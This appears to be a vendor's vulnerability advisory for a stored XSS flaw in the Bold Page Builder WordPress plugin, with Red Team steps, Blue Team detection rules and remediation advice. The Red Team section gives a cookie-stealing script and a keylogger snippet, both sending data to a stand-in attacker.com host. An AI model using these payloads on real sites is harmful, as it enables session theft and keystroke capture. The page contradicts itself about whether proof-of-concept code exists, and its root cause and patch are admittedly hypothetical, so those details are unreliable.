CVE-2025-58194
Executive Summary
CVE-2025-58194 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin, affecting versions up to and including 5.4.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages built with the plugin. When other users (including administrators) view the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially third-party marketplaces. Since WordPress plugins are a common vector for supply chain attacks, any compromise of the Bold Page Builder plugin could lead to widespread site infections. Administrators should verify the integrity of plugin files and monitor for unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required – The victim must view the compromised page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder plugin can lead to significant downstream attacks, including privilege escalation and site takeover.
Deep Dive & Mechanics
The vulnerability exists in the Bold Page Builder plugin's handling of user input within page/post content. The plugin likely fails to properly sanitize or escape user-supplied data (e.g., custom CSS, HTML attributes, or shortcode parameters) before storing it in the database. When the page is rendered, the unsanitized input is injected into the DOM, allowing an attacker to execute arbitrary JavaScript.
Attack Flow:
- An attacker with contributor-level access creates or edits a page using Bold Page Builder.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable field (e.g., a text block, custom CSS, or attribute). - The plugin stores the payload without proper sanitization.
- When an administrator or other user views the page, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses functions like echo or print without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) on user-controlled data.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (Example):
// In a template or shortcode handler
echo '<div class="bold-custom">' . $user_input . '</div>';
Patched Code (Hypothetical):
// Properly escape output
echo '<div class="bold-custom">' . esc_html( $user_input ) . '</div>';
The patched version uses esc_html() to neutralize any HTML/JavaScript before output. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Bold Page Builder <= 5.4.3 installed and activated.
- A user account with at least "Contributor" role.
Steps:
- Log in as a contributor.
- Create a new page and open it with Bold Page Builder.
- In a text block or custom CSS field, inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save/publish the page.
- Send the page link to an administrator or wait for them to view it.
- The victim's browser executes the script, sending their cookies to the attacker's server.
Alternative Payload (Keylogger):
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
};
Blue Team (Defensive)
Detection:
- Monitor for unusual page creation or editing activity by low-privileged users.
- Look for suspicious JavaScript in page content, especially in custom CSS or HTML fields.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Hunting:
- Search the WordPress database for
<script>tags inwp_posts.post_content:SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script>%'; - Review server access logs for requests to
/wp-admin/post.phpwith suspicious parameters.
Prevention:
- Disable the Bold Page Builder plugin until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
bold-page-builder.php(SHA256):UNKNOWN(verify against official source)
- Database Entries:
wp_posts.post_contentcontaining<script>tags or obfuscated JavaScript.
- Network Traffic:
- Outbound requests to unknown domains from the WordPress server.
- HTTP requests containing
document.cookiein the query string.
- Log Entries:
- Unusual
POSTrequests to/wp-admin/admin-ajax.phpwith actionbold_*. - Multiple failed login attempts from the same IP (if XSS leads to credential theft).
- Unusual
Detection Engineering
YARA Rule
rule CVE_2025_58194_Bold_Page_Builder_XSS {
meta:
description = "Detects malicious JavaScript payloads targeting Bold Page Builder stored XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58194"
strings:
$xss1 = /<script[^>]*>.*?document\.cookie/i
$xss2 = /<script[^>]*>.*?fetch\(/i
$xss3 = /<script[^>]*>.*?eval\(/i
$xss4 = /<script[^>]*>.*?fromCharCode/i
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-58194 - Stored XSS in Bold Page Builder
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WordPress page content
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=bold_'
condition: selection
falsepositives:
- Legitimate plugin AJAX calls
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58194 - Stored XSS Payload in Bold Page Builder"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bold_"; http_client_body; pcre:"/<script[^>]*>.*?(document\.cookie|fetch|eval)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete Bold Page Builder until a patched version is released.
- Audit existing content – Scan all pages and posts for injected scripts using the YARA rule above.
- Reset user credentials – If any administrator viewed a compromised page, force password resets and invalidate session tokens.
Long-term Fixes:
- Apply vendor patch – Monitor the WordPress plugin repository for an update (version > 5.4.3).
- Implement CSP – Add the following header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; - Use a security plugin – Deploy Wordfence or Sucuri to add an additional layer of XSS protection.
Workarounds (if patching is delayed):
- Restrict contributor roles to trusted users only.
- Use a reverse proxy (e.g., Cloudflare) to filter malicious payloads.
- Manually patch the plugin by adding
esc_html()to vulnerable output functions (requires code review).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.